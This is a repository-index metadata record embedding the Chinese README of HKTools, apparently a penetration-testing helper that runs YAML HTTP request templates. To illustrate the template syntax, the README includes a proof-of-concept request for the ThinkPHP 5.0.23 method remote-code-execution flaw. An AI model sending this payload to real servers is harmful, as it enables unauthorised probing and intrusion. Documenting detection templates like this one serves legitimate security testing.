{"id":20459809,"url":"https://github.com/explangcn/hktools","last_synced_at":"2025-05-08T22:32:18.250Z","repository":{"id":165503185,"uuid":"539271457","full_name":"ExpLangcn/HKTools","owner":"ExpLangcn","description":"一款辅助安全研发在日常工作中渗透测试、安全研究、安全开发等工作的工具！","archived":true,"fork":false,"pushed_at":"2023-11-20T16:48:34.000Z","size":29,"stargazers_count":14,"open_issues_count":0,"forks_count":2,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-03-05T11:17:03.566Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ExpLangcn.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2022-09-21T02:25:45.000Z","updated_at":"2023-12-04T06:41:14.000Z","dependencies_parsed_at":"2023-07-28T23:31:09.965Z","dependency_job_id":null,"html_url":"https://github.com/ExpLangcn/HKTools","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ExpLangcn%2FHKTools","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ExpLangcn%2FHKTools/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ExpLangcn%2FHKTools/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ExpLangcn%2FHKTools/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ExpLangcn","download_url":"https://codeload.github.com/ExpLangcn/HKTools/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253158207,"owners_count":21863254,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-15T12:17:21.456Z","updated_at":"2025-05-08T22:32:17.997Z","avatar_url":"https://github.com/ExpLangcn.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"## HKTools\n一款辅助安全研发在日常工作中渗透测试、安全研究、安全开发等工作的工具！\n程序支持Yaml格式的http请求模版\n\n#### 😄 I’m ExpLang [**Twitter**](https://twitter.com/ExpLang_Cn) 欢迎关注fo～\n\n\n## 演示视频\n\n[BliBli](https://www.bilibili.com/video/BV13N4y1K7eE)\n\n## 漏洞模版\n\n**漏洞模版采用yaml格式，文件名后缀也为yaml.**\n\n### 基础语法\n\n1. 漏洞名称，必须为英文.\n\n```jsx\nname: poc-yaml-thinkphp5023-method-rce\n```\n\n1. 内置函数\n\n```jsx\nset:\n  randomInt: 0,1\n  md5: 'admin'\n```\n\n- randomInt：由英文逗号分隔，禁止存在空格，逗号左侧为最小数字，逗号右侧为最大数字，可以在`responsebody`、`内容`、`path`{{md5}}处通过进行调用\n- md5：必须由单引号或双引号闭合，可以在`responsebody`、`内容`、`path`{{md5}}处通过进行调用\n1. 发包配置\n\n```jsx\nrules:\n  r1:\n    method: \"POST\"\n    path: \"/index.php?s=captcha\"\n    headers:\n      Content-Type: application/x-www-form-urlencoded\n    body: \"_method=__construct\u0026filter[]=printf\u0026method=GET\u0026server[REQUEST_METHOD]={{md5}}\u0026get[]=1\"\n    expression:\n      responsestatus: 200\n      responsebody: '{{md5}}'\n  r2:\n    method: \"GET\"\n    path: \"/{{md5}}\"\n    expression:\n      responsestatus: 404\n      responsebody: '{{md5}}'\n```\n\n- r1：自定义请求函数名，从上到下依次执行请求函数\n- method：必须由单引号或双引号闭合，请求方式，当前支持POST、GET、PUT\n- path：必须由单引号或双引号闭合，请求路径\n- headers：可不写此项（直接删除，参考r2），一行一条，冒号左侧为键名，冒号右侧为键值\n- body：必须由单引号或双引号闭合，可不写此项（直接删除，参考r2），在GET请求中不应填写\n- responsestatus：不可存在单引号或双引号，必须填写，判断响应状态码\n- responsebody：必须由单引号或双引号闭合，必须填写，在响应正文中查找指定字符串\n1. 脚本信息\n\n```jsx\ninfo:\n  author: Explang\n  Homepage: https://github.com/ExpLangcn\n  CodeLink:\n    - https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce\n```\n\n- author：POC作者名称，不可为空，必须为英文\n- Homepage：个人主页链接\n- CodeLink：漏洞参考链接，一行一个\n\n## 截图介绍\n\n### 正则匹配\n\n\u003cimg width=\"1089\" alt=\"image\" src=\"https://user-images.githubusercontent.com/52586866/191400721-ce0051c0-b1ac-4e74-9eb4-ac9f38c45890.png\"\u003e\n\n### 加密解密\n\n\u003cimg width=\"1089\" alt=\"image\" src=\"https://user-images.githubusercontent.com/52586866/191400818-df75cd14-5759-4fa0-85ae-95a041502c0b.png\"\u003e\n\n### http调试\n\n\u003cimg width=\"1089\" alt=\"image\" src=\"https://user-images.githubusercontent.com/52586866/191400866-7ae9f4dd-99a9-486f-accf-babd8b5f91cb.png\"\u003e\n\n\u003cimg width=\"1089\" alt=\"image\" src=\"https://user-images.githubusercontent.com/52586866/191400875-27e65394-4d6d-4b19-a639-ff2babd54044.png\"\u003e\n\n### http多个模版请求（支持批量请求多个模版，支持请求多次）\n\n\u003cimg width=\"1089\" alt=\"image\" src=\"https://user-images.githubusercontent.com/52586866/191401034-e2d93d55-c363-4d83-b4c9-2f2404596b31.png\"\u003e\n\n## 知识星球\n\n如同星球名字一样我是想做一个安全资源库，内容包括但不限于：安全工具/安全思路/技巧资料/学习资料，方向包括但不限于：WEB渗透/安全开发/内网渗透/免杀处理/零信任安全/云安全/工控安全/硬件安全/区块链安全等！\n\n我会专注于分享一写我在做研发的时候遇到的一写比较有意思的点会将它们变成文档沉淀下来，以及我自己写的一些安全工具。\n\n**星球拥有完整的运营体系可放心加入。**\n\n加入星球共同学习提升自我，**我荒废的今日，正是昨日殒身之人祈求的明日！望诸君 共勉之.**\n\n![星球优惠券](https://user-images.githubusercontent.com/52586866/191401470-0b2dd4a9-0549-4854-9a44-97be836a959a.png)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fexplangcn%2Fhktools","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fexplangcn%2Fhktools","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fexplangcn%2Fhktools/lists"}